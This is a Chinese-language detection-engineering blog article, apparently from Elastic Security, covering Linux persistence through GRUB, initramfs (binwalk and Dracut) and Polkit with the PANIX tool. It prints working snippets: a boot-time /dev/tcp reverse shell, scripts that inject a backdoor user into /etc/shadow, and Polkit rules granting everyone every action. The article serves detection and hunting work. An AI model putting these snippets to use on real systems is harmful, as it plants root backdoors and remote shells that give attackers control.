简介
欢迎来到“Linux 持久化检测工程”系列的精彩终章!在第五部分,也是最后一个部分,我们将继续深入探讨 Linux 持久化的世界。在前几期文章探讨的基础概念和技术的基础上,本文讨论了一些更隐晦、更有创意和/或更复杂的后门和持久化机制。
如果您错过了之前的文章,它们通过探索关键的持久性概念奠定了基础。您可以在这里了解详情:
在本文中,我们将通过展示以下内容来提供对这些持久化机制的深入见解:
- 各自的工作原理(理论)
- 如何设置每个(练习)
- 如何检测它们(SIEM 和端点规则)
- 如何寻找它们(ES|QL 和 OSQuery 参考搜索)
为了使这个过程更具吸引力,我们将利用PANIX ,这是一个由 Elastic Security 的 Ruben Groenewoud 设计的定制 Linux 持久性工具。PANIX 允许您简化和试验 Linux 持久性设置,从而轻松识别和测试检测机会。
在本系列结束时,您将对常见和罕见的 Linux 持久化技术有深入的了解,并了解如何有效地设计检测机制,以应对常见和高级对手的能力。准备好揭开最后一块 Linux 持久化拼图了吗?下面就让我们一探究竟!
设置说明
为了确保您已准备好检测本文讨论的持久性机制,启用和更新我们预先构建的检测规则非常重要。如果您正在使用定制的规则集并且不使用我们所有的预建规则,那么这是一个很好的机会来测试它们并可能填补任何空白。现在,我们准备开始了。
T1542 - 预操作系统启动:GRUB 引导加载程序
GRUB(GRand Unified Bootloader)是 Linux 系统中广泛使用的引导加载程序,负责加载内核和初始化操作系统。GRUB 提供了一个灵活的框架,支持多种配置,使其成为管理启动过程的强大工具。它充当系统固件 (BIOS/UEFI) 与操作系统之间的中介。当 Linux 系统启动时,通常会发生以下序列:
-
系统固件
- BIOS 或 UEFI 初始化硬件组件(例如 CPU、RAM、存储设备)并执行 POST(开机自检)。
- 然后,它会在指定的引导设备上找到引导加载程序(通常基于引导优先级设置)。
-
GRUB 引导程序
- GRUB 被加载到内存中。
- 它显示一个菜单(如果启用),允许用户选择操作系统、内核版本或恢复模式。
- GRUB 将内核映像 (
vmlinuz
) 和 initramfs/initrd 映像 (initrd.img
) 加载到内存中,这是一个用于初始系统设置的临时根文件系统(例如,为文件系统和硬件加载内核模块)。 - GRUB 传递内核参数(例如,根文件系统的位置、启动选项),然后将控制权交给内核。
-
内核执行
- 内核被解压并初始化。它开始检测和初始化系统硬件。
- 内核挂载在内核参数中指定的根文件系统。
- 它启动 init 系统(传统上
init
,现在通常systemd
),这是第一个进程(PID 1
),负责初始化和管理用户空间。 init
系统设置服务、挂载文件系统,并启动用户会话。
GRUB 的配置系统灵活且模块化,使管理员能够定义引导加载程序的行为、内核参数和菜单条目。所有主要发行版都使用 /etc/default/grub
作为 GRUB 的主要配置文件。该文件包含高级选项,例如默认内核参数、启动超时和图形设置。例如:
GRUB_TIMEOUT=5 # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0 # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters
为了增强灵活性,GRUB 支持通过脚本目录实现模块化配置。这些通常位于 /etc/default/grub.d/
(Ubuntu/Debian) 和 /etc/grub.d/
(Fedora/CentOS/RHEL)。在更新过程中,这些目录中的脚本会合并为最终配置。
在启动之前,必须编译 GRUB 引导加载程序。编译后的 GRUB 配置文件是引导加载程序在运行时使用的最终输出。它是根据 /etc/default/grub
中的设置和 /etc/grub.d/
中的模块化脚本(或其他发行版的类似目录和文件)生成的。然后,此配置被存储在 BIOS 系统的 /boot/grub/grub.cfg
中,而在 UEFI 系统中则存储在 /boot/efi/EFI/<distro>/grub.cfg
中。
在基于 Ubuntu 和 Debian 的系统上,update-grub
命令用于生成 GRUB 配置。对于 Fedora、CentOS 和 RHEL 系统,等效命令是 grub2-mkconfig
。生成配置后,将会发生以下事件:
- 脚本执行:
/etc/default/grub.d/
或/etc/grub.d/
中的所有模块化脚本均按数字顺序执行。
- 设置聚合:
- 来自
/etc/default/grub
和模块化脚本的参数被合并。
- 菜单条目创建:
- GRUB 动态检测已安装的内核和操作系统,并创建相应的菜单条目。
- 最终编译:
- 组合配置被写入
/boot/grub/grub.cfg
(或 UEFI 等效路径),准备在下次启动时使用。
攻击者可以利用 GRUB 的灵活性和启动过程中的早期执行来建立持久后门。通过修改 GRUB 配置文件,他们可以注入恶意参数或脚本,这些参数或脚本会在操作系统完全初始化之前以 root 权限执行。攻击者可以:
- 注入恶意内核参数:
- 在启动时在
/etc/default/grub
或直接在 GRUB 菜单中添加init=/payload.sh
等参数会强制内核执行恶意脚本,而不是默认的init
系统。
- 修改菜单项:
- 攻击者可以更改
/etc/grub.d/
中的菜单条目,以包含未经授权的命令或指向恶意内核。
- 创建隐藏的引导条目:
- 在 GRUB 菜单中添加不显示的恶意配置的额外引导条目。
由于 GRUB 在系统的典型 EDR 和其他解决方案机制激活之前运行,因此这种技术特别难以检测。此外,由于我们对这些类型攻击的知识匮乏,检测变得十分困难,因为恶意参数或条目可能与合法配置相似,使人工检查容易出现疏忽。
GRUB 操作属于 MITRE ATT&CK 框架中的 T1542: Pre-OS Boot。这种技术包括针对引导加载程序的攻击,以在操作系统初始化之前获得控制权。尽管其重要性不言而喻,但目前尚无专门针对 GRUB 攻击的子技术。
在下一节中,我们将探讨攻击者如何通过注入恶意参数和修改引导加载程序配置来通过 GRUB 建立持久化。
通过 T1542 实现持久性 - 操作系统启动前:GRUB 引导加载程序
在本节中,我们将了解与 GRUB 持久化相关的技术细节。为此,我们将利用来自 PANIX 的 setup_grub.sh 模块,这是一个定制的 Linux 持久化工具。通过模拟此技术,我们将能够研究潜在的检测机会。
GRUB 模块检测其运行的 Linux 发行版,确定需要修改的正确文件和建立持久化所需的支持工具。由于引导过程中的环境限制,此模块中未为基于 Fedora 的操作系统内置 PANIX 兼容性。PANIX 确定有效负载是否已注入,如果没有,则创建一个包含 init=/grub-panix.sh
参数的自定义配置文件 (cfg
)。GRUB 配置文件根据模块的数字前缀按升序加载。为了确保注入的模块最后加载,优先级设置为 99。
local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"
echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF
在此配置文件就位后,将创建 /grub-panix.sh
脚本,其中包含一个有效负载,该有效负载会休眠一段时间(以确保网络可用),然后执行反向 shell 有效负载,并将自身与主进程分离以确保不会挂起。
payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"
local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
echo "[*] Panix backdoor payload will execute after 10 seconds delay."
${payload}
echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF
在这些文件就位后,您只需通过运行 update-grub
来更新 GRUB,以包含嵌入的后门模块。
让我们从检测工程的角度来看看这个过程的样子。通过以下命令运行 PANIX 模块:
> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.
执行该模块并重新启动机器后,可以在 Kibana 中发现以下文档:
执行 PANIX 后,您可以看到 /etc/default/grub
的备份、新的模块化 grub 配置 /etc/default/grub.d/99-panix.cfg
,以及正在创建的后门有效负载(/grub-panix.sh
)。在授予后门程序必要的执行权限后,GRUB 通过 update-grub
可执行文件进行更新,后门程序现在已准备就绪。重新启动后,/grub-panix.sh
由 init
执行,这对于大多数现代操作系统来说是 systemd
,成功执行了 /grub-panix.sh
→ nohup
→ setsid
→ bash
的反向 shell 链。其 event.action
值为 already-running
的原因是,由于在启动过程中,在 Elastic Defend 初始化之前执行了负载。根据启动执行阶段,Elastic Defend 将能够通过此 event.action
捕获错过的事件,从而使我们仍然能够检测到活动。
我们来看看报道内容:
涵盖 GRUB 引导加载程序持久化的检测和端点规则
您可以通过运行以下 revert 命令来恢复 PANIX 所做的更改:
> ./panix.sh --revert grub
[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.
搜索 T1542 - 预操作系统启动:GRUB 引导加载程序
除了依赖检测之外,将威胁搜寻纳入您的工作流程也很重要,特别是对于像这样的持久化机制,由于时间或环境限制,事件可能会被遗漏。本文列出了 GRUB 引导加载程序持久化的可用搜寻;不过,有关威胁搜寻基础知识的更多详细信息在“搜寻 T1053 - 排定的任务/作业”的“Linux 检测工程 - 持久化机制入门”部分中进行了概述。此外,您可以在我们的检测规则资源库中找到描述和参考,特别是在 Linux 搜寻子目录中。
我们可以通过 ES|QL 和 OSQuery 来搜寻 GRUB 引导加载程序的持久化,重点关注与 GRUB 配置相关的文件创建、修改和执行。该方法包括监测以下内容:
- GRUB 配置文件的创建和/或修改:跟踪关键文件的更改,例如 GRUB 配置文件、模块和编译的 GRUB 二进制文件。这些文件对于引导加载程序的配置至关重要,并且通常是 GRUB 持久化攻击的目标。
- 执行与 GRUB 相关的命令:监测诸如
grub-mkconfig
、grub2-mkconfig
和update-grub
之类的命令,这些命令可能表示尝试修改 GRUB 设置或重新生成启动配置。 - GRUB 文件的元数据分析:识别 GRUB 配置文件的所有权、访问时间和最近更改,以检测未经授权的修改。
- 内核和引导完整性监测:使用 ES|QL 和 OSQuery 表(如
secureboot
、platform_info
、kernel_info
和kernel_keys
)跟踪关键内核和引导相关数据,提供对系统引导完整性和内核配置的见解。
通过将 GRUB 引导加载器持久化和一般内核操纵搜寻规则与上述定制检测查询相结合,分析人员可以有效识别和响应 T1542。
T1542- 操作系统启动前:Initramfs
Initramfs(初始 RAM 文件系统)是 Linux 引导过程中的关键部分,它充当临时根文件系统,通过引导加载程序加载到内存。它使内核能够初始化硬件、加载必要的模块,并为系统挂载真实的根文件系统做好准备。
正如我们在上一节中了解到的那样,引导加载程序(例如 GRUB)会加载两个关键组件:内核 (vmlinuz
) 和 initramfs 映像 (initrd.img
)。initrd.img
是一个压缩的文件系统,通常存储在 /boot/
中,包含基本的驱动程序和二进制文件(例如 busybox
)、库和脚本,用于系统早期初始化。它以 gzip、LZ4 或 xz 等格式打包,解压缩到一个最小的 Linux 文件系统中,其中包含 /bin
、/lib
和 /etc
等目录。一旦真实的根文件系统被挂载,控制权就会传递给主 init
系统(例如 systemd
),并且 initramfs 会被丢弃。
Initramfs 在 Linux 启动过程中起着核心作用,但它并不是独立运行的。/boot/
目录存放着使引导加载程序和内核能够无缝运行的必要文件。这些文件包括内核二进制文件、initramfs 镜像和系统初始化所需的配置数据。以下是这些关键组件的细目:
- vmlinuz-<version>:压缩的 Linux 内核二进制文件。
- vmlinuz:指向压缩的 Linux 内核二进制文件的符号链接。
- initrd.img-<version> 或 initramfs.img-<version>:包含临时文件系统的 initramfs 镜像。
- initrd.img 或 initramfs.img:指向 initramfs 镜像的符号链接。
- config-<version>:特定内核版本的配置选项。
- System.map-<version>:用于调试的内核符号地图。
- grub/:引导加载程序配置文件。
与 GRUB 类似,initramfs 在启动过程的早期执行,因此对于寻求隐蔽持久性的攻击者来说是一个有趣的目标。修改其内容(例如添加恶意脚本或更改初始化逻辑)可以在系统完全初始化之前执行恶意代码。
虽然目前没有专门针对 initramfs 的小节,但对引导过程的修改属于 MITRE ATT&CK 框架中的 T1542,Pre-OS Boot。
下一节将探讨攻击者可能如何操纵 initramfs、他们可能使用的方法来嵌入持久性机制,以及如何有效地检测和缓解这些威胁。
T1542 - Initramfs:手动修改
修改 initramfs 以建立持久化是一种“ Initramfs 持久化技术”博客文章中讨论的技术,改文章在 Breachlabs.io 上发布。从核心上讲,修改 initramfs 涉及解压其压缩文件系统、进行更改,并重新打包镜像,以在嵌入持久化机制的同时维护功能。此过程本身并无恶意;管理员可能会修改 initramfs 以添加自定义驱动程序或配置。然而,攻击者可以利用这种灵活性,在主操作系统完全加载之前执行恶意操作。
一个示例技术是向 init
脚本中添加代码以操控主机文件系统,例如创建后门用户、更改系统文件/服务,或注入在重启后仍然存在的脚本。
虽然有一些辅助工具可以用于 initramfs,但修改可以通过 binwalk 等低级实用程序手动实现。Binwalk
对于分析和提取压缩档案特别有用,因此其成为了检查和解构 initramfs 镜像的理想选择。
在接下来的小节中,我们将详细解释手动修改 initramfs 的过程。
通过 T1542 实现持久性 - Initramfs:手动修改
在本节中,我们将“手动”操控 initramfs,在启动过程中向系统添加后门。为此,我们将使用 PANIX 的 setup_initramfs.sh 模块。我们来分析一下该模块最重要的方面,以确保我们了解这是怎么回事。
在模块执行时,initrd.img
文件会被备份,因为实施这样的技术可能会中断启动过程,因此我们始终建议保留备份。接下来创建一个临时目录,并将 initramfs 镜像复制到该目录中。通过 binwalk
,我们可以识别并映射出 initrd.img
中的各种嵌入式存档(例如 CPU 微码 cpio
存档和包含迷你 Linux 文件系统的 gzip 压缩 cpio
存档)。字符串 TRAILER!!!
标记了 cpio
存档的结束,明确指出一个存档的结束位置,以便我们可以将其与下一个存档分开。换句话说,binwalk
指示我们在何处拆分文件,而 TRAILER!!!
标记在我们提取和重建 initramfs 的其余部分之前确认微码 cpio
的边界。如需更多详细信息,请参阅原作者的“Initramfs 持久化技术”博客文章。
# Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
echo "Error: Could not determine trailer address using binwalk."
exit 1
fi
echo "[*] Trailer address: $ADDRESS"
本节提取并解压 initrd.img
文件的部分内容以进行修改。dd
命令提取第一个 cpio
存档(微码),直到 TRAILER!!!
标记的字节偏移量,并将其保存为 initrd.img-begin
以供以后重组。接下来,unmkinitramfs
会将 initrd.img
中剩余的文件系统解压到目录 (initrd_extracted
) 中,以进行修改。
dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; }
unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }
文件系统提取后,可以对其进行修改以实现持久化。此过程侧重于操作 init
文件,该文件负责在启动时初始化 Linux 系统。代码执行以下操作:
- 将根文件系统挂载为可写。
- 尝试通过两个步骤创建一个具有 sudo 权限的新用户:
- 检查所提供的用户是否已经存在,如果是,请中止。
- 如果用户不存在,请手动将用户添加到
/etc/shadow
、/etc/passwd
和/etc/group
。
此负载可以更改为任何所需的负载。由于我们工作的环境非常有限,我们需要确保只使用可用的工具。
在添加正确的负载后,可以重新打包 initramfs。该脚本使用:
find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end
将文件系统重新打包为 initrd.img-end
。它确保所有文件都由 root:root
(-R 0:0
) 拥有,并使用与 initramfs 兼容的 newc
格式。
先前提取的微码存档(initrd.img-begin
)与新创建的存档(initrd.img-end
)使用cat
连接,以生成最终的initrd.img-new
:
cat initrd.img-begin initrd.img-end > initrd.img-new
新的 initrd.img-new
替换了原始的 initramfs 文件,确保系统在下次启动时使用修改后的版本。
现在我们已经了解了流程,我们可以运行模块,让事件展开。注意:并非所有 Linux 发行版都用 TRAILER!!!
字符串指定 cpio
存档的结尾,因此这种自动化技术不适用于所有系统。让我们继续吧!
> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.
让我们来看看在 Kibana 中生成的事件:
查看执行日志,我们可以看到 openssl
被用来生成 passwd
哈希值。之后 initramfs 镜像被复制到一个临时目录中,并利用 binwalk
来查找文件系统的地址。一旦找到正确的部分,unmkinitramfs
会被调用来提取文件系统,然后有效负载被添加到 init
文件中。接下来,文件系统通过 gzip
和 cpio
重新打包,并与微码、文件系统和其他部分组合成一个完全可用的 initramfs 镜像。然后,此镜像被复制到 /boot/
目录,覆盖当前活动的 initramfs
镜像。重新启动后,具有 root 权限的新 panix
用户即可使用。
我们来看看报道内容:
涵盖手动 initramfs 持久化的检测和终端规则
类别 | 覆盖范围 |
---|---|
File | 通过文件修改实现持久性 |
流程 | 潜在的内存搜寻活动 |
通过 unmkinitramfs 解压 Initramfs | |
通过 CPIO 解压 Initramfs | |
启动文件复制 | |
OpenSSL 密码哈希生成 |
您可以通过运行以下 revert 命令来恢复 PANIX 所做的更改:
> ./panix.sh --revert initramfs
[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
搜寻 T1542 - Initramfs:手动修改
我们可以使用 ES|QL 和 OSQuery,通过关注与使用诸如 binwalk
之类工具相关的可疑活动,来追踪这种技术。此技术通常涉及提取、分析和修改 initramfs 文件,以便在启动过程中注入恶意组件或脚本。该方法包括监测以下内容:
- 使用可疑参数执行 Binwalk:跟踪执行
binwalk
以提取或分析文件的进程。这可能会揭示试图检查或篡改 initramfs 内容的行为。 - Initramfs 文件的创建和/或修改:跟踪 initramfs 文件的更改 (
/boot/initrd.img
)。 - 一般内核操纵指标:利用诸如监测
secureboot
、kernel_info
和/boot/
内文件更改的查询来检测内核和引导加载程序操纵的更广泛迹象,这些迹象可能与 initramfs 滥用重叠。
通过将 Initramfs 持久化和一般内核操纵搜寻规则与上述定制检测查询相结合,分析人员可以有效地识别和响应 T1542。
T1542 - Initramfs:使用 Dracut 进行修改
Dracut 是一个多功能工具,用于管理大多数 Linux 系统中的 initramfs。与需要解构和重建 initramfs 的手动方法不同,Dracut 提供了一种结构化、模块化的方法。它简化了创建、修改和再生 initramfs 镜像的过程,同时提供一个强大的框架来添加自定义功能。它通过组装一个根据系统需求定制的最小 Linux 环境来生成 initramfs 镜像。其模块化设计可确保仅包含必要的驱动程序、库和脚本。
Dracut 通过模块运行,这些模块是包含脚本、配置文件和依赖项的独立目录。这些模块定义了 initramfs 的行为和内容。例如,它们可能包括用于特定硬件的驱动程序、处理加密文件系统的工具,或用于预启动操作的自定义逻辑。
Dracut 模块通常存储在:
/usr/lib/dracut/modules.d/
/lib/dracut/modules.d/
每个模块都位于以 XXname
格式命名的目录中,其中 XX
是定义加载顺序的两位数,name
是模块名称(例如 01base
、95udev
)。
定义模块如何集成到 initramfs 的主要脚本称为 module-setup.sh
。它指定要包含哪些文件以及需要哪些依赖项。下面是一个 module-setups.sh
脚本的基本示例:
#!/bin/bash
check() {
return 0
}
depends() {
echo "base"
}
install() {
inst_hook cmdline 30 "$moddir/my_custom_script.sh"
inst_simple /path/to/needed/binary
}
check()
: 确定是否应包含模块。返回 0 确保模块始终被包含。depends()
:指定此模块所依赖的其他模块(例如,base
,udev
)。install()
:定义要包含的文件或脚本。inst_hook
和inst_simple
等功能简化了该过程。
使用 Dracut,攻击者或管理员可以轻松修改 initramfs,以包含自定义脚本或功能。例如,恶意行为者可能会:
- 添加一个在启动时执行命令的脚本。
- 在挂载根文件系统之前,修改现有模块以改变系统行为。
在下一节中,我们将介绍如何创建一个自定义 Dracut 模块以修改 initramfs。
通过 T1542 实现持久化 - Initramfs:使用 Dracut 进行修改
在我们开始跑步之前先走一走是一个好主意。在上一节中,我们学习了如何手动操作 initramfs,这可能很难设置。既然我们已经了解了基础知识,我们可以通过使用一个名为 Dracut 的辅助工具来更轻松地实现持久化,该工具在许多 Linux 系统上默认可用。让我们着眼于 setup_initramfs.sh 模块,但这次重点关注 Dracut 部分。
此 PANIX 模块会在 /usr/lib/dracut/modules.d/99panix
处创建一个新的 Dracut 模块目录,并创建一个包含以下内容的 module-setup.sh
文件:
#!/bin/bash
check() { return 0; }
depends() { return 0; }
install() {
inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}
此脚本确保在使用 Dracut 构建 initramfs 时,自定义脚本 (backdoor-user.sh
) 会被嵌入并配置为在启动时的 pre-pivot 阶段执行。在 pre-pivot 阶段运行时,脚本在控制权移交给主操作系统之前执行,确保它可以对真实的根文件系统进行修改。
在授予 module-setup.sh
执行权限后,模块继续创建 backdoor-user.sh
文件。如要查看完整内容,请检查模块的源代码。重要的部分是:
#!/bin/sh
# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
echo "[dracut] Could not remount /sysroot as RW. Exiting."
exit 1
}
[...]
if check_user_exists "${username}" /sysroot/etc/shadow; then
echo "[dracut] User '${username}' already exists in /etc/shadow."
else
echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
echo "[dracut] Added '${username}' to /etc/shadow."
fi
[...]
首先,脚本确保根文件系统 (/sysroot
) 是可写的。如果此检查完成,脚本将继续通过手动修改 /etc/shadow
、 /etc/passwd
和 /etc/group
文件来添加新用户。需要注意的最重要的一点是,这些脚本依赖于内置的 shell 实用程序,因为在此环境中无法使用 grep
或 sed
等实用程序。编写脚本后,授予其执行权限,脚本即可正常运行。
最后,调用 Dracut 为当前正在使用的内核版本重建 initramfs:
dracut --force /boot/initrd.img-$(uname -r) $(uname -r)
一旦此步骤完成,修改后的 initramfs 就会激活,重新启动计算机将会执行 backdoor-user.sh
脚本。
一如既往,首先我们拍摄快照,然后运行模块:
> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.
请查看 Discover 中提供的文档:
执行后,openssl
用于为 secret
密码创建密码哈希。随后,目录结构 /usr/lib/dracut/modules.d/99panix
被创建,并且 module-setup.sh
和 backdoor-user.sh
脚本被创建并授予执行权限。initramfs 重新生成完成后,后门程序被植入,并将在重启时激活。
我们来看看报道内容:
涵盖 dracut initramfs 持久化的检测和终端规则
您可以通过运行以下 revert 命令来恢复 PANIX 所做的更改:
> ./panix.sh --revert initramfs
[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
搜寻 T1542 - Initramfs:使用 Dracut 进行修改
我们可以使用 ES|QL 和 OSQuery 来寻找这种技术,重点关注与使用 Dracut 等工具相关的可疑活动。该方法包括监测以下内容:
- 使用可疑参数执行 Dracut:跟踪执行 Dracut 以重新生成或修改 initramfs 文件的进程,尤其是使用非标准参数的情况。这有助于识别未经授权的修改 initramfs 尝试。
- 对 Dracut 模块的创建和/或修改:监测
/lib/dracut/modules.d/
和/usr/lib/dracut/modules.d/
中的更改,这些位置存储自定义和系统范围的 Dracut 模块。此处未经授权的修改可能表明有人试图持久化恶意功能。 - 一般内核操纵指标:利用诸如监测
secureboot
、kernel_info
和/boot/
内文件更改的查询来检测可能与 Initramfs 滥用有关的内核和引导加载器操纵的更广泛迹象。
通过将 Initramfs 持久化和一般内核操纵搜寻规则与上述定制检测查询相结合,您可以有效地识别和响应 T1542。
T1543 - 创建或修改系统进程:PolicyKit
PolicyKit(或 Polkit) 是一项系统服务,提供用于管理 Linux 系统中特权操作的授权框架。它允许对系统范围的权限进行细粒度控制,使非特权进程能够安全地与特权进程交互。作为系统服务和用户之间的中介,Polkit 可确定用户是否被授权执行特定操作。例如,它决定用户是否可以在不需要完整 sudo 权限的情况下重启网络服务或安装软件。
Polkit 授权由规则、操作和授权策略管理:
- 操作:在 XML 文件 (
.policy
) 中定义,指定 Polkit 可以管理的操作,例如org.freedesktop.systemd1.manage-units
。 - 规则:类似 JavaScript 的文件 (
.rules
) 确定如何为特定操作授予授权。它们可以检查用户组、环境变量或其他条件。 - 授权策略:
.pkla
文件为操作设置默认或按用户/组授权,确定是否需要身份验证。
Polkit 使用的配置文件位于多个不同的位置,具体取决于系统中安装的 Polkit 版本和当前使用的 Linux 发行版。您应了解的主要位置:
- 操作定义:
/usr/share/polkit-1/actions/
- 规则定义:
/etc/polkit-1/rules.d/
/usr/share/polkit-1/rules.d/
- 授权定义:
/etc/polkit-1/localauthority/
/var/lib/polkit-1/localauthority/
Polkit .rules
文件定义授予或拒绝特定操作的逻辑。这些文件在确定用户或进程是否能够执行某个操作时提供了灵活性。以下是一个简单的示例:
polkit.addRule(function(action, subject) {
if (action.id == "org.freedesktop.systemd1.manage-units" &&
subject.isInGroup("servicemanagers")) {
return polkit.Result.YES;
}
return polkit.Result.NOT_HANDLED;
});
在此规则中:
- 将操作
org.freedesktop.systemd1.manage-units
(管理systemd
服务)的权限授予servicemanagers
组的用户。 - 其他操作将回退到默认处理。
这种结构允许管理员实施自定义策略,但也为攻击者打开了大门,他们可以插入过于宽松的规则来获得未经授权的权限。
目前,Polkit 在 MITRE ATT&CK 框架中尚无专门的技术。最接近的是 T1543:创建或修改系统进程,它描述了攻击者修改系统级进程以实现持久化或权限升级。
在下一节中,我们将逐步探讨攻击者如何制作和部署恶意 Polkit 规则和授权文件,同时讨论检测和缓解策略。
通过 T1543 实现持久性 - 创建或修改系统进程:PolicyKit
现在我们已经了解了理论,让我们来看看如何通过 setup_polkit.sh PANIX 模块在实践中进行模拟。首先,模块通过 pkaction --version
命令检查活动的 Polkit 版本,因为版本 <0.106 使用较旧的 .pkla
文件,而较新的版本 (>=0.106) 使用较新的 .rules
文件。根据版本的不同,模块将继续创建过于宽松的 Polkit 策略。对于版本 < 0.106,模块会在 /etc/polkit-1/localauthority/50-local.d/
中创建一个 .pkla
文件:
mkdir -p /etc/polkit-1/localauthority/50-local.d/
# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF
允许任何 unix-user
通过 Identity=unix-user:*
和 Action=*
参数执行任何操作。
对于版本 >= 0.106,会在/etc/polkit-1/rules.d/
中创建一个.rules
文件:
mkdir -p /etc/polkit-1/rules.d/
# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
return polkit.Result.YES;
});
EOF
过于宽松的策略总是返回 polkit.Result.YES
,这意味着任何人都可以执行需要 Polkit 身份验证的任何操作。
Polkit 规则按字典 (ASCII) 顺序处理,即数字较小的文件先加载,后面的规则可以覆盖前面的规则。如果两个规则修改同一策略,则编号较大的规则优先,因为它是最后被评估的。为了确保规则被执行并覆盖其他规则,PANIX 使用以 99 开头的文件名来创建规则(例如 99-panix.rules
)。
请使用以下命令行参数运行 PANIX 模块:
> sudo ./panix.sh --polkit
[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.
并查看 Kibana 中的日志:
在执行 PANIX 时,我们可以看到 pkaction --version
命令会被发出,以确定是否需要 .pkla
或 .rules
文件方法。弄清楚这一点后,正确的策略会被创建,polkit
服务会被重新启动(但这并不总是必要的)。一旦这些策略到位,具有 1000
的 user.Ext.real.id
用户(非 root)就可以通过执行 pkexec su -
命令来获取 root 权限。
让我们来看看我们的检测机会:
涵盖 Polkit 持久化的检测和终端规则
类别 | 覆盖范围 |
---|---|
File | Polkit 策略创建 |
通过文件修改实现持久性 | |
流程 | Polkit 版本发现 |
异常的 Pkexec 执行 |
要还原任何更改,您可以通过运行相应的还原模块来实现:
> ./panix.sh --revert polkit
[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.
正在搜寻 T1543 - 创建或修改系统进程:PolicyKit
我们可以使用 ES|QL 和 OSQuery 来搜寻这种技术,重点关注与修改 PolicyKit 配置文件和规则相关的可疑活动。该方法包括搜寻以下内容:
- PolicyKit 配置文件的创建和/或修改:跟踪包含自定义和系统范围规则、操作描述和授权规则的关键目录中的更改。监测这些路径有助于识别未经授权的添加或篡改,这可能表明存在恶意活动。
- PolicyKit 文件的元数据分析:检查 PolicyKit 相关文件的文件所有权、访问时间和修改时间戳。未经授权的更改或具有意外所有权的文件可能表明有人试图通过 PolicyKit 持续存在或提升权限。
